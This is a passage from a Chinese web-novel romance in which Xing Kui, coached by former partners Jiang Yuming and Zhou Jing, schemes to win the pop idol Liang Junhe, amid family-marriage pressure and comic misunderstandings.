一边瞅一边拿钥匙打开家门。 【(狗狗痛哭.gif)】 【老婆,我好难过,我今天遇见一个讨厌鬼,讨厌鬼摸了我,还胁迫我。】 【我是不是不洁了?老婆】 【老婆对不起,你是不是觉得我很烦才不理我,你今天能不能别觉得我烦,理理我。】 【老婆,给你比心。】 【(狗狗比心.gif)】 邢葵瞧得有点懵,走进家门,背着手阖上门,歪歪脑袋,忽嗅到玫瑰香气,身后,躲在门后的江玉鸣颀长的身体覆上来,手按上她双肩,他的下巴也贴到她的头。 “终于回来了,让我好等。” “江医生?你怎么有我家钥匙,我前几个月不是取回来了吗?”邢葵惊讶转头,说完想到什么,抬起额头使劲撞了下江玉鸣下颚,“昨晚我让你进我家,没让你自取钥匙!” 江玉鸣下颚被撞得有些红,笑眼弯弯:“说好帮你找对象,没找到前,我们自还是以前那般能自取钥匙的关系,你得再谨慎些,别再将钥匙挂玄关,小心周镜他们也拿一把。” 邢葵深呼吸:“不是所有人都像你一般随意变态。” 江玉鸣倏地眯了眯眼睛,俯身,对着她亮着的手机屏幕:“怎么有人叫你老婆?” “噢。”邢葵低头,“就是网络上流行的称呼啦,表达亲近。” “你同意被她叫?”江玉鸣吃味,抓邢葵肩的手都用了下力。 邢葵皱着眉动了动肩:“这又没什么,又不是现实,现实有人突然叫我老婆,我肯定浑身起鸡皮疙瘩,你想啊,就比如有一天,突然有人叫你老公,你也会觉得奇怪呀。” 她说完,江玉鸣或许认为有道理,没反驳,而是一声不吭地贴着她的头呼吸,数秒后,他将她翻过来,目光灼烫。 “再叫一遍,我兴奋了。” 第70章 他兴奋个什么劲啊! 邢葵僵硬成小木偶,江玉鸣呼吸急促,眼神炙热地捆绑她,眼底翻滚靡色,如同某种见到猎物的饥饿蛇类,一呼一吸都似浴过黏稠毒液。 老实说,江玉鸣是火山变的吧,所以每天这么烧!邢葵站得笔直,用坚硬的颅骨撞了下江玉鸣:“你给我等会儿,我先回粉丝消息。” “你还要回粉丝消息?”江玉鸣配合她的撞做表情,被撞疼似的龇牙咧嘴,昳丽的眉宇间流转轻挑浪感。 “本来是不回的,可她今天说的有点不一样,她好像被欺负了。”邢葵走出玄关几步,又转头,指向跟上来的江玉鸣,“在我和她聊完前不可以再骚,待会儿再骚好吧。” 她做了一点妥协,迈向江玉鸣牵住他长白的小拇指拉了拉勾。 两指缠在一处,江玉鸣浓黑色的长睫颤动,邢葵看出他又兴奋了,急忙扯开,还擦了擦小拇指。 “我们好孩子就是心太好,这人说不定就是为了诓你回消息,以前就有病人假称哪儿哪儿痛来找我。” 邢葵瞪他:“万一呢,我不信那个病人说痛的时候你没给她看,现在天大地大她最大,你别多嘴了,烧晚饭去。” 江玉鸣弯弯唇:“好,遵命,刚好我来时买了菜。” 还没坐到沙发,邢葵就打起字,“惹我的人娶不到老婆^_^”几分钟前说,她被讨厌鬼摸了还被胁迫。 ——她被讨厌的人猥-亵,对象还恐吓她不准说出去! 倘若这件事是真的,那很严重,邢葵第一句话就回复道: 【留证据了吗?立刻报警。】 她继续打字,想告诉这位粉丝一些她要做的事。 信息还没发过去,“惹我的人娶不到老婆^_^”先回复。 【老婆!!!!!!!!!!!!!!!!!!!!!!!(省略满屏感叹号)】 邢葵:“?” 【你回我了!!!!!!!】 【一百多天了呜呜!!!!】 数不清的感叹号在邢葵的脑子里弯曲形成一个个问号,她连忙回应:【这不是重点,你先报警,猥-亵犯必须蹲局子。】 灵潮娱乐,梁君赫蹲在地上,湿漉漉的桃花眼因为天天奇妙历险终于理他亮晶晶,快速敲击起屏幕就想跟她倾吐今日委屈。 收到天天老婆回的话,梁君赫指尖顿住,默默删掉对邢葵的吐槽。 【呃,不是猥-亵,是我惹毛了她,她想解决问题。】 她?邢葵点开粉丝主页,显示粉丝性别女,同性啊? 【老婆你别误会,她虽然不是好东西,但不是那种违反犯罪的坏人。】 【摸的也不是不能摸的地方……】 【主要也是我没躲。】 小惹一句句替那个人解释,邢葵斜了斜头:【你喜欢她?】 灵潮娱乐,梁君赫一蹦三尺高:【绝对没有!我和她不是能在一起的关系!她、她在我眼里一点魅力都没有!】 邢葵挑起眉梢,你说什么就是什么咯:【那宝宝,你要还是不开心,再找我吧,今晚洗个澡好好睡一觉,祝你好梦。】 【(小兔子捧月亮.jpg)】 老婆又叫他宝宝了!老婆还送他大月亮!梁君赫向后,背靠到墙壁,他粉嫩的唇角也向月亮角一样高高翘起来。 【等等老婆,你能告诉我,我还干净吗?】 【不要问这种问题,就算你真遇见坏人,错的也是坏人,不是你,宝宝,你要晚上睡不着吃一颗褪黑素吧,明天天气很好,以后天气也很好。】 几行回复,梁君赫嘴角弧度降不下来,眼睛都要化作星星眼,容光焕发,挺直腰背,很好,他还是干干净净的优质处男。 可恶的邢葵,真是连根手指都比不过天天老婆,天天多温柔多善良多宠他,几个月不回复却会因为误解他遇到坏蛋给予回应,不像邢葵,海王、绿茶、渣女。 梁君赫流了好多泪,犹如缺水的桃花被甘霖滋润,他舒坦地哼了声,打开活动室的门。 “少爷。” “少爷您去哪儿。” “去买瓶褪黑素。” 邢葵熄灭手机屏幕,原来小惹是个对同性有好感不自知的小姑娘。 日后她还是理理小惹好了,看小惹过往行为,她还有些疯狂,邢葵怕她出事。 走到厨房,江玉鸣正站在打开的橱柜前,他身前的柜子里是鳞次栉比的速食方便面。 骨节分明的手指拿着一碗杯面,哦,说是掐更合适,指节处都成了白色,江玉鸣望向她,眯起眼睛:“好吃吗?葵葵。” 邢葵挠挠脖子:“这么多是因为我想买遍所有口味的方便面,然后许野帮我实现了愿望。” 不过橱柜里并不是天下所有,方便面有保质期,吃不完会浪费食物,许野买了一个牌子的所有味道。 “他倒纵着你。”江玉鸣酸溜溜,“都不在意你的健康。” “我又不会天天吃,许野也叮嘱过我,吃的时候要加蛋加菜。” “那你加了吗?” 邢葵噎住,闭上嘴转过身:“你下厨吧,我不打扰了。” “站住。”江玉鸣叫停她,“和粉丝聊完该跟我撩了,我帮你烧饭也该收点费用,是不是?”他放下杯面,声音魅惑,“先前你喊了什么称呼,再叫一遍。” 邢葵回忆起来,脸颊发热:“我又不是叫你!你休想哦,换个别的吧,那个我不可能好意思叫出口!” “真的不行?” “哪怕你拿把刀都不行!” 江玉鸣轻笑低头,伸手又拿出一袋方便面,和杯面排在一起,就像丈夫在为夫妻二人准备食物:“那我们选个委婉的方式吧。” 他翻出手机打了会儿字,抬起手机,“念一遍这两个成语。” 邢葵看见屏幕:“白头偕老,公私兼顾。”公私兼顾是什么鬼啦,还有江玉鸣为了听那个称呼也太无所不用其极了吧? 江玉鸣享受听两个成语各自的第四个字和第一个字:“念快一些。” 好吧,看在他买了挺多菜的份上,邢葵顶着脸热:“白头偕老,公私兼顾。”×1.5倍速 “再快一些。”江玉鸣仰起脸。 “白头偕老,公私兼顾。”×2倍速 “再快点。” 江玉鸣眸子都快阖上,邢葵伸手猛地扯住他耳朵:“够了!江医生,第三遍了,我分手普天之下最高兴的就是你吧?” 他含满笑的眼睛睁开:“应该是。” 所以,即使江玉鸣答应了邢葵要帮她找新对象,他暂时都不准备找。 谁让邢葵绝不接受小三,一谈恋爱就不肯跟江玉鸣亲,过去两段恋情带来经验,邢葵的空窗期就是他的快乐期。 她身边也没新的男人,先等他亲到周镜的次数。 两碗方便面端上饭桌,像店家广告里的一样丰盛诱人,邢葵拿筷子,面里有鸡蛋、藕片、茼蒿……还有一块煎的牛排,切成了长条,这是一碗营养均衡的方便面。 她咬了口美味的牛排,看向对面江玉鸣:“对了,江医生,跟你说件事,你有个好兄弟,叫梁君赫,我打算试一试追他。” 不是好兄弟了,就在这个瞬间——江玉鸣张嘴要吃面,闻言顿住,皮笑肉不笑:“你怎会认识他?” “就我想签灵潮下面的MCN,这样认识的,你别这么笑,怪渗人的。” “梁家办MCN了,我都不知道。那么,你不需要我帮你找人了?” 邢葵咽下牛排:“刚办的,新公司,我就在想,梁君赫好合适呀,他现年二十五,比我小三岁,又是明星,能跟我妈说,他身上有合同规定不能结婚。” 还真是,梁君赫既有许野“硬性条件规定不能结婚”的优点,又没有许野年龄过小的缺点,差三岁,恰好应上“女大三抱金砖”这句俗话。 爹的,碗中面江玉鸣吃不下去了,邢葵有多想解决催婚他很清楚,一旦她关注到梁君赫,很难将目标从他身上移走。 “不过我不喜欢梁君赫。”邢葵一句话点亮江玉鸣心情,“单方面利用他的事我也做不到,江医生,我不用你帮我找人了,但你能帮我想想对梁君赫,我接下来该如何办吗?” 江玉鸣停了停,笑着吃起面:“当然可以,我一直乐于助你。” 看来邢葵并不想和梁君赫谈恋爱,江玉鸣完全能继续当她的军师,正好也膈应其他兄弟。 “你心里有想法吗?” “不知道呀。”邢葵头疼,“他又不像许野,明星哪需要跟我假恋爱,可是真恋爱的话,我俩彼此相看两厌。” “相看两厌?” “嗯嗯,之前有些事,我得罪了他,他也惹恼过我。” “那很难办了葵葵。”江玉鸣稍稍捂住嘴,手挡着的唇挂着笑,“但是有我在,我能帮你想到好主意,还记得你跟周镜许野分别的切入点是什么吗?” “渴肤症和假恋爱。” “或许我们能结合一番。”江玉鸣伸指点桌面,“先通过接触让梁君赫生理性喜欢你,再向他提议假恋爱,你满足他的需求,他也满足你的需求。” 邢葵听呆了。 江玉鸣又说,“梁君赫皮囊不差,你玩一玩也行,总之怎么算你都不吃亏,他也有需求要你满足,各取所需。” “可是他的需求是我制造的呀?” “他自己不想要不会有反应。”江玉鸣说着说着发起骚,“就像葵葵摸我,我不想的话,我能控制住,不信葵葵摸了看看?” 邢葵狐疑地望他,站起身,伸手,穿过桌面点了一下他的额心,他哼了一声:“你看,这就是我想要。” 你个烧货! “再说,我这位兄弟极渴望恋爱,这在一定程度上说明,他极渴望被人摸。” 邢葵坐下来,江玉鸣确实说服了她,周镜那时候,她从贴贴入手结果收获了周镜真正的喜欢,梁君赫和周镜性格不同,还跟她有仇,她再从贴贴入手兴许能得到纯粹的生理性喜欢。 可以先试试这个办法,梁君赫不想她就停下:“那我怎么和他接触?” 江玉鸣笑:“说了这么多话,我有点渴,能帮我倒杯水来吗?” “好!”邢葵快速去倒水,端着水杯赶回,放江玉鸣面前,他接水,刹那,五指顶端碰了下她的五指。 “这就是 接触,葵葵见缝插针就好。”江玉鸣得寸进尺,手指穿进她的指缝,“说来,我就特别喜欢碰葵葵,你好软好凉,葵葵,今晚很热,我能抱着你睡吗?” 邢葵调整呼吸,避免克制不住给江玉鸣一巴掌。 江玉鸣握着她的手端起水杯喝了一口:“这样的水都格外好喝,但我知道,葵葵身上还有更好喝的水。” 啪,没憋住,邢葵给了他一巴掌。 “葵葵,你的香气比巴掌更快到达。”江玉鸣松开杯子,转搂住她的腰,被打过的脸贴上来蹭,“接下来我们再聊聊如何避免出现周镜那种情况……” 夜幕低垂,星光灿烂,床头桌花瓶里的粉色桃花沐着月光,花瓶旁边放着一瓶褪黑素和水杯。 朦胧的光影中,一名身姿窈窕的女性贴在男性胸膛,牙齿咬住他和桃花同色的纽扣。 “老婆,嗬,别咬,要断了。” “老婆,掐一下它,嗬,嗬,好舒服。” “老婆,你好厉害。” “老婆,要亲亲。” 白如牛奶的手覆住女性的耳朵,梁君赫喘动不止,直到老婆抬脸……爹的!怎么是邢葵!是噩梦! 醒过来!快醒过来!别过来啊!不要掐,不要拨,嗬、嗬…… 几个小时后,晨光熹微,梁君赫抱住膝盖,看着卷成一团的被褥自闭,又过了半小时,他伸手取过褪黑素。 褪黑素副作用之一:做噩梦。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 因为听从暗恋对象的话吃了褪黑素忘掉从邢葵那里受到的屈辱好好睡觉反而梦到邢葵,还……在梁君赫顺风顺水的生活里,这绝对是核弹级别的恐怖事件。 现实世界,邢葵也就拨了两下,掐了不超过三分钟。梁君赫在深度睡眠里将次数加了N倍,他的纽扣更被整整眷顾三小时,被各种换花样玩弄。 这太惊悚了,梁君赫抓着褪黑素瓶子浑身颤抖,脚边的被子乱糟糟团成一团。 梁少爷上次吃如此程度的苦,还是孩童时期学外语,梁父隔段时间将他送到一个国家,导致他语言系统一度混乱,为了恢复不断说话,养成了话痨毛病。 不不不,噩梦比那件事还要吓人。 梁君赫要哭了,他超讨厌邢葵,也超讨厌她的触碰,拿兄弟情发誓,他绝对绝对绝对不渴盼再被邢葵碰,褪黑素居然给他打造那样的噩梦,简直丧心病狂。 环着膝蹲在墙角,梁君赫眼眶红着,他在睡眠中意识到在做梦却又无法苏醒,在痛苦中浪潮迭起。 这会儿不能眼眶湿润,有更湿润的物品亟待梁君赫处理,他反手擦擦眼睛,脱掉身上写着“桃花来”三个字的睡衣及配套睡裤,换了身衣服,拆下被套,随后下床,将湿透的衣物藏进被套里。 抱起脏掉的布料们,梁君赫蹑手蹑脚开门,小心翼翼往门外张望,走廊没人,他才谨慎地走出。 一路轻手轻脚走进卫生间,梁君赫住的地方,以梁家财力看,不过是间小公寓,区区一百平,并非他的家,而是他借住的梁昭然的家。 不是梁昭然节俭,是这栋楼恰在灵潮娱乐和她丈夫上班地点中间。梁君赫关上卫生间门,接了一盆水,蹲下,梁姐夫是幼儿园老师兼家庭煮夫,他得在梁姐夫起床准备早饭前洗干净衣物。 咔哒,门打开:“小赫,头一次见你起这么早。” “姐夫!”梁君赫猝地摁下盆中衣物,手击打水面的声响惹人注目。 梁姐夫三十几岁,五官素净,他被动静吸引,看向水盆,淡色的眉眼添上几分愕色,“小赫洗被子?” 梁君赫是会洗贴身衣物,但其他衣服,有佣人的时候他交给佣人洗,没佣人,他也不管能不能机洗,直接扔洗衣机,总之,梁少爷从未用他金贵的手洗过被子。 “是被套。”梁君赫慌张地倒洗衣液,快速撮起泡沫,“夜里盗汗,起来都是汗臭味,我实在受不了,晚上还得睡呢。” “那我来吧。”梁姐夫卷袖口,好心走近。 “不用!”梁君赫猛地抬手制止。 “家里这些事都是我做的。” “不用!”梁君赫夸张地趴到水盆上,仿佛盆里是千亿黄金,“姐夫,我不能让你帮我洗,你去烧早饭吧。” 梁姐夫看着弟弟:“太客气了。”知道梁君赫不是任何人能劝动的性格,他摇了摇头:“那我先洗漱,就在旁边,你洗累了叫我。” 他走到洗手台前挤牙膏,梁君赫就蹲着警惕地看着他,悄悄挪腿,调整姿势,用背对着梁姐夫,挡住盆里东西,继续洗。 沐在洗衣液中的双手细腻,梁君赫平时特别注意身体每一寸的护理,好委屈啊,他怎就碰不见他的桃花。 之所以借住在梁昭然家,是梁君赫听大师说,住在幸福家庭有助于增长他的桃花运。 梁君赫瞥了眼梁姐夫,梁姐夫出身极其普通,多年前,梁父想让梁昭然联姻,梁昭然便带梁姐夫领了证回了家,先斩后奏。 永远忘不掉那天梁父的表情和姐姐姐夫牵在一起的手,梁君赫艳羡这种爱情…… “小赫洗累了?”梁姐夫见梁君赫看他,“还是我来吧。” “不用!”梁君赫护衣,耳根都红成熟虾子,这等尴尬的情况再来一次他得原地炸开,“姐夫,我决定搬走了。” 梁姐夫伸出去的手滞在半空,手收回,他询问:“你要搬回梁家?” 梁君赫搓洗布料,碎碎念:“不啊,我疯了才会搬到老头子身边找不痛快。我另寻他地住,总好过在这儿打扰你俩二人世界。还有啊,姐夫,我跟这套被子有感情了,走的时候我把它们也带走啊。” “那你搬去哪儿?” “姐夫放心,我那么多好兄弟,一定每一个都愿意收留我!” 一盘洗净的葡萄放到桌面,邢葵抬起眼:“谢谢周律师,那,解约的事是没问题吗?” 周围陈设毫无亮色,一看就是周镜家,周镜坐到她对面点了点头,低头瞧兆光文化发给邢葵的签约合同电子版:“这份合同也没问题,甚至条件格外优厚。” “真的吗?太好了。”邢葵提着的心放下来,“这家的总裁以前我上班见过,谢伯母也说她能信一信。” “确实非常优厚,吃水果。”周镜为了邢葵最近有了解过MCN相关,“只是名不经传,但背靠灵潮娱乐,合同中有注明,会利用灵潮的资源来培养你。” “嗯嗯,灵潮可是娱乐业第一大集团。” 也是梁家的产业,邢葵就是这样和梁君赫遇上的吧。 有人按响门铃,周镜去开门,邢葵拾了颗葡萄,剥皮,站门口的周镜忽然转头问她:“你觉得梁君赫怎么样?” 答案邢葵不用思索,她要是能喜欢梁君赫,还用得着想“先触摸制造生理性需求、再假恋爱”的方法? 周镜开门,邢葵说着:“不怎么样。” 门打开,梁君赫站门外。 邢葵:“……”明显他刚才是笑的,精致的下巴上方,嘴角还有弧度,此时那弧度进了北极寒川,冻僵了。 好,今天梁君赫又讨厌她一点。 玄关处,周镜平平淡淡,仿佛刚通过猫眼见到梁君赫、故意诱邢葵说话的人不是他。 “她为什么在这里?”梁君赫走进来,斜眼睨她,鼻孔出气,“讨厌鬼。” 他这么说着,桃花眼却有点失去焦距,所谓斜眼看人,其实是不敢直视她,昨夜梦里引领梁君赫喘的人就在他眼前,他的心脏像是落地的金属钵颤得无止无尽,纽扣都发硬。 邢葵端起葡萄盘背过身,虽然她当前的目标正是梁君赫,但江玉鸣教授的攻略手段她真不太会,你们兄弟聊你们的,让她想想。 “你为何拜访我家?”周镜走回客厅桌旁,他原本坐在邢葵对面的椅子上,这回坐到了她身边,好像这个家一男一女两个主人。 梁君赫望着,莫名觉得眼睛不舒服,走上前抽了一张抽纸,擦眼睛:“哥,我搬到你家来住呗。” 他没带行李,等确定住址会有专人为他送来,不过应该就是这里了,周哥性格不错,梁君赫住他家也不会影响到他工作,他绝对会点头答应。 周镜:“拒绝。” “你怎么也拒绝!”啪,梁君赫将面纸拍到桌上。 “也?” 梁君赫回忆起他今日找住所的经历,他买间新房子或者去住酒店都能解决住宿问题,但他就想住在好兄弟的家,周镜、许野、厉乘川,他们仨全都眼瞎瞧上邢葵,梁君赫要承担起修复兄弟情的重任,和他们住一起,方便教育教育他们。 结果,许野世界各地飞地打比赛,根本不在家,哪怕他人在国内,也住大学宿舍。在电话中听到梁君赫想法,许野沉默一瞬,回答:邢葵家有空房间,不如你去问问她出不出租。 疯了!这位兄弟疯了! 再然后,梁君赫抵达厉宅,在锁着的厉宅大门前,对着智能门锁喊开门,宅邸内管家礼貌回复:开不了,梁少爷,您近期未做体检,请回去做完体检携报告再来。 想起这两次受挫梁君赫都气鼓鼓:“许野不同意,厉哥死洁癖。” 他还押上了,邢葵忍俊不禁,剥了颗葡萄丢嘴里。 周镜眼神柔和看着她吃,十月份葡萄应季,厉乘川大概率会找借口给她送,她在这里吃了,待收到厉乘川的就不会那么惊喜。 他随意地问梁君赫:“那怎么不去找江玉鸣?” 梁君赫瞄了眼背对他的邢葵,水润的唇刚吃进去一颗葡萄,晶莹的果肉穿过她的牙齿,犹如噩梦中他的纽扣被她咬。 他耳朵失控地红起来,搭配说的话像是气的:“我表哥两眼又不瞎。” 表哥?邢葵惊得睁大眼。 以梁君赫视角,他只以为厉乘川被他未婚妻背叛还念念不忘,只知道周镜和许野都谈过,没江玉鸣的事,他不用去教育他。 江玉鸣和梁君赫有血缘关系!“咳,咳咳!”邢葵无意间吞下葡萄,尚算完整的葡萄卡在喉咙口,她连连咳嗽。 江玉鸣真的是,昨晚还说什么,梁君赫皮囊不差,她玩一玩也行,那可是他有血缘关系的弟弟! 两只手一左一右落到邢葵后背,一轻一重。 周镜:“小心。” 梁君赫:“吃个葡萄你急什么!卡死你活该!” 周镜望了眼在他手右边的手,微皱眉头,邢葵沿着右边肌肉匀称的右臂往上看,接触,这不正是接触的好时机? 她倏地抬手,用两只手抓上梁君赫的右臂,低头藏住紧张猛咳。 手,她的手,她掐过他纽扣的手,梁君赫眼里波光颤动,手臂寸寸紧绷,血管都要狂跳。 一、二、三,邢葵顶多能坚持三秒,默数到三秒立刻放开:“我去处理一下。” 像有把榔头将梁君赫钉在原地,他解除束缚的手臂仍保持拍背的动作,周镜盯了盯他被邢葵碰过的皮肤,侧过头,对着邢葵离开方向若有所思。 厨房,邢葵抠嗓子,终于咳出葡萄,洗手漱口,摁住洗手池两边轻轻地喘。 心跳如擂鼓,她人生使坏次数屈指可数,适才忐忑得手心都生出汗,幸好得到了好的反馈。 梁君赫没推开她,还手臂绷紧、发热……江玉鸣说,梁君赫渴望被摸,或许是真的? “你想选梁君赫?” 温和的询问声在身侧响起,邢葵稍惊,偏头望:“周律师,你好聪明。” “跟我说说,怎么回事。”周镜取出一块干净的布,让她擦手。 “我……” “你不能只听江玉鸣的话,葵葵,我早就跟你讲过,你跟江玉鸣合作,是与蛇共舞。”周镜又从她手里取过布,替她擦,“同我讲一遍,我永远不会害你。” “……事情就是这样。”邢葵简略讲述因果,“我正在尝试。” 她观察周镜神情,从她开始讲到讲完,周镜只有在听到“生理性喜欢”时推了下眼镜,其余毫无反应,跟他之前就猜得差不多似的。 “可以,我帮你。”周镜伸手,摸到邢葵的手,眸里感情克制,“梁君赫想住在我家,我会答应,他的工作性质决定他时常会消失,我答应让他暂住我家,能让你多一些接近他的机会。” 邢葵舒心,扬起笑容。 与她对视,周镜也露出一个浅浅的笑。 什么生理性喜欢,梁君赫本就在意邢葵,接触只会让他逐渐意识到他的心动。 江玉鸣他自己就不止生理性喜欢邢葵,自己都搞不明白,还误导邢葵。 他下了一步烂棋,周镜提议许野那会儿,江玉鸣期待他翻车,这会儿轮到周镜期待江玉鸣翻车了。 至于梁君赫,周镜觉得他不好对付,也会因为邢葵的目光转向他吃醋,可周镜终究不能左右她的决定。 也罢,周镜富有耐心,让邢葵再谈一段吧。 两人回到客厅,周镜对梁君赫开口:“叫人将行李送过来。” 没曾想,梁君赫出乎意料地拒绝:“不,我不想了,方才不愿让我这么好的弟弟跟你同居,周哥,这会儿我让你后悔莫及。” 第72章 果真是位不能被掌控的大少爷,邢葵哽住,梁君赫模样高傲,以一种睥睨的姿态望着他们。 “走了,哥,我不是你想要就要、想不要就能不要的,你就在家里将肠子都悔青吧。” 他来就是想搬进周镜家,岂料周镜同意后,梁少爷反而不按常理出牌,傲慢拒绝。 好狂妄,邢葵都担心周镜不爽,门大力关上,她小心地觑觑周镜,他一向镇定,这一回同样面不改色,处之泰然。 他垂眸看她:“见笑,梁君赫就是这样目中无人的东西。” 否则,厉乘川最初也不会在梁君赫没见到邢葵前,就想方设法不让他见。 但梁君赫飞扬跋扈也好,届时欣赏江玉鸣翻车会更有趣。 门铃声忽然响起,邢葵望向门,那声音不近,来人不像按的周镜家门铃,倒像是斜对门她家? 那厢,梁君赫龙骧虎步甫一迈出周镜家,气势凌不过一秒,直接瘫在地上。 手抓住被邢葵碰过的右臂,五指按得皮肤下陷,那一块皮肤都飘起红,宛如抹了将一枝条的桃花捣烂得到的汁水。 临时变卦拒绝,是因为梁君赫觉得,周镜家指不定有邢葵出没,他不想再做噩梦,绝对不住。 定是噩梦带来阴影,邢葵碰他三秒钟,梁君赫的纽扣硬成石子,还仿佛染上瘙痒恶疾,需要邢葵用她带着凉意的指尖挠一挠。 天塌了,他居然对邢葵的触碰有感觉,该死的褪黑素,真该死啊。 梁君赫用力掐手臂,牙齿咬起,一副要扯开那块皮的架势,江玉鸣和他是远房表兄弟,因为多少沾点血缘,两人关系不错。 有男女意识时,江玉鸣还笑盈盈问过梁君赫,他对未来另一半有没有设想。 江玉鸣说,他要娶超模,超模的风格和他相宜。梁君赫想了想说,他喜欢有力量的。 力量,不一定指物理上。天天奇妙历险在全网都骂梁君赫时,顶住舆论压力为他仗义执言,那种力量有撞到梁君赫。 而邢葵……梁君赫反复擦摩手臂,邢葵,她大坏蛋,到处养鱼,婚宴上被亲戚攻讦时又是不掀桌的小弱鸡,哪是他的理想型。 真得去庙里烧一烧香驱除梦魇,梁君赫起身,桃花眼里浸着某种信念,在扫到右斜方住户门口的监控时破了防。 有监控,那他刚刚瘫下去像缺氧鱼的样子岂不是都被录进去了? 梁君赫掏口袋,戴上口罩,气呼呼走过去按门铃,要开价将监控买下来。 于是他身后周镜家的门打开,邢葵站门口:“呃,你敲我家门 干什么?” 梁君赫身体抖了一下,转过来,严词厉色:“都分手了你俩不该再当邻居!” 凶罢他拔腿就跑,冷静冷静,谁没事做天天看监控视频,邢葵要养鱼没那么闲。 “啊。”邢葵懊恼拍了拍脑袋,她刚不该在梁君赫身后喊他,应当跑到他旁边抓住他的手臂说啊。 她看向她家的门,和这层楼其他住户的门没什么不同,最大的区别就是有监控,是前几天厉乘川帮她装的。 莫非,梁君赫刚做了什么被拍到了? 一只手落到邢葵头顶,周镜温柔抚摸:“别拍自己,小心拍疼了。”也瞥了眼监控,音线平稳,“我相信你能追到梁君赫。” 毕竟她是邢葵,她有多好周镜一路看在眼里,单是邢葵每一次分手后都能调整心态站起来、继续向目标前进都了不起。 “虽然梁君赫没能住在这里,但他和周梨都是灵潮艺人,或许你能找周梨帮忙和他接触。”周镜建议道。 “对欸,周梨还挺热情帮我找新任。”邢葵看了看监控,打算等会儿回家瞧瞧,听到周镜提议,积极回应。 “嗯,她发了不少信息给我,让我千万离你远点。” “……哈,哈哈。” 邢葵窘迫干笑,周镜清俊的脸低下来,温热的下巴掠过她的额,接着,两瓣唇在她额心轻轻碰了碰。 “不要信周梨说我的话,葵葵,你是我心里第一个人也是唯一一个人。”周镜大概早就想亲了,只是克制着,即使当下也是克制的,“还有你现在单身,平日可以来睡我,在我身上取追梁君赫的经都行。” 话题怎么就不对劲了!邢葵不好意思:“我知道了。” “要记住,不要仅仅口头答应。” “那,有机会再说吧。”邢葵捏捏耳朵,“我回家啦?” “还有个无伤大雅的小问题,你去找周梨前要知道,梁家很多年前就想和我家联姻,梁叔叔一直希望梁君赫能娶周梨。” “少爷!”梁家,梁君赫在一声声“少爷”中脚步匆匆,返回祖宅暂住,也许熟悉的环境能让他今晚远离噩梦。 他摩挲着手臂走进中央别墅,一只茶杯猛然向他砸来。 梁君赫瞧都没瞧,身经百战般移步躲开,彩金色茶杯在门外地板四分五裂,水混着茶叶、碎瓷,落雨似的溅得到处都是,地板上的漆都被砸掉几点,佣人纷纷噤声。 “你还知道回家?” “爸,大晚上坐客厅看热血片,难怪火气这么大。”梁君赫走进去,浑然没受到被砸茶杯影响,“姐,你也在啊。” 梁昭然站在沙发旁,沙发上的梁父年近六十,外表也像六十,但坐姿笔直,矍铄的眼神让他像一名干练的中年人。 此刻梁父眼里沉甸甸的火焰。 为半年不进家门的儿子。 茶几上是一套茶具,如今缺了一只杯子,梁君赫唇角弧度都好像写着刻薄,“爸,热血片不适合你,你都多大了,看点养生片吧,不早了,我去洗澡。” 砰!又是一只茶杯砸向梁君赫,然而,梁君赫早已捂住耳朵,并径直走远。 “昭然,将这逆子弄回来!” 梁昭然领命去追,在室内透明电梯口拦到梁君赫:“随我回去,爸找你,别不像话。” 梁君赫伸手按向数字键:“他才不像话,半年前让我和周梨上综艺炒cp,暗着让我追她,现在更演都不演了,姐,你就跟他说,说我说的,想让我娶周梨,他吃颗褪黑素做做梦比较快。” 玻璃电梯门关上,梁昭然扶着一旁架子叹了口气。 沙发旁,梁昭然轻声:“爸,小赫他可能真累了。” “他累个屁!”梁父怒火熊熊,拍得茶几桌面震颤,杯具彼此撞击出叮当响,“有这种混账儿子,我才累!让他进公司不进,要当明星,好,我容他玩几年,结果呢?黑料累累,我梁兴业这张脸都被他丢光了!” “小赫还小。” “二十五了,不是五岁,昭然,他跟周梨那孩子处得如何?”梁父目光沉静下来。 梁昭然为难地动了下嘴角:“还行。” “还行周梨向媒体曝他黑料?”梁父冷声戳穿她的谎话,“你就替他瞒,我告诉你,周家在政治上建树极高,是我看好的联姻对象,几年前我让你嫁周镜你不嫁,周梨君赫必须得娶。” 梁昭然默声,办公室内,她将合同推给邢葵,落地窗外午间的阳光和暖,光线摇曳着照射邢葵脸颊。 今天是她正式签约、正式转行的日子,空气清新,连天气都瞧上去充满希望。 邢葵收起合同:“谢谢梁总,没想到是您亲自跟我签。” 洋溢愉悦的环境里,梁昭然似乎是唯一的暗色调,她的眉心透着愁,邢葵没多嘴去问。 梁昭然笑笑:“和你签约是我这几天最开心的事,去吧,周梨还在门口等你。” 邢葵走出,周梨立马扑上来抱她,短发蹭到她的下巴:“太好了姐妹,以后我们就是同事了!” “也不完全是同事,我俩签的不是同一家公司,只是都归属灵潮集团。” “差不多啦。”周梨不管,打包票,“周镜跟我说了你要追梁君赫,你放心,包在我身上。” “也不完全是追,我只想跟他维持在皮肉层面,不碰到心。”她已经看过监控,确认梁君赫喜欢被她碰,确认江玉鸣说的“先制造生理需求、再假恋爱”的方法可行,决定继续推进。 周梨闻言,松开邢葵一秒,然后更紧地抱住她蹭她:“感动,你太看得起我了!你居然觉得我能理解这么复杂的事!” “……”邢葵推开她,“简言之,就是只睡。” 也不知周梨听没听懂,反正她点头如捣蒜,很兴奋能帮到她,还牵住她的手:“我都准备好了,你跟我来。” 她都准备好了?她准备了啥?邢葵错愕一瞬,跟上她:“另外,你哥还说,梁家挺中意你当媳妇。” “让他们去死,我才不要结婚放弃大女乃男模。”周梨骂骂咧咧,“再者梁君赫那家伙鼻孔朝天长,我都不敢想象有人能让他低头,姐妹,你要是睡上他,告诉我他做的时候是不是也昂着头。” 邢葵耳红,这种私事她哪会往外讲啦。 酒吧包厢外劲歌热舞,包厢内光影迷离,邢葵坐在沙发上,对着桌面五光十色,安静了整整十分钟。 周梨说她准备好了,她还在心里隐隐期待,她期待什么啊,周疯子那脑回路能想出什么,竟带她来了酒吧,不愧是初次见面就绑她进会所的人。 “交给我,包稳当的。”周梨搭上邢葵肩膀,“我最近在争资源,那个制作人总有骚扰女艺人的传闻,我把他约出来,再把消息传给梁君赫,让他来英雄救我家姐妹。” 邢葵默了默:“我说的是只睡,不谈心。” 周梨振振有词:“不谈啊,那老登会给艺人酒里下药,以前还有人曝光过,可惜没证据,最后不了了之,到时候你就喝掉那杯下药的酒,然后我将梁君赫和你关在房间。” 好家伙,硬睡是吧。 